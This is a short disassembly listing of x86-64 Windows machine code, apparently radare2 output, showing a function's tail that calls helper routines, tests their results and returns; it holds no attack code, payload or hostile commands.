mov dword [rsp + 0x28], eax
call fcn.1400116d6
movzx eax, al
test eax, eax
jne 0x14001ee3c
mov ecx, dword [rsp + 0x28]
call fcn.1400110aa
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001ee4b
call fcn.140011983
nop
xor edx, edx
mov cl, 1
call fcn.140011370
mov eax, dword [rsp + 0x28]
jmp 0x14001ee91
add rsp, 0x68
ret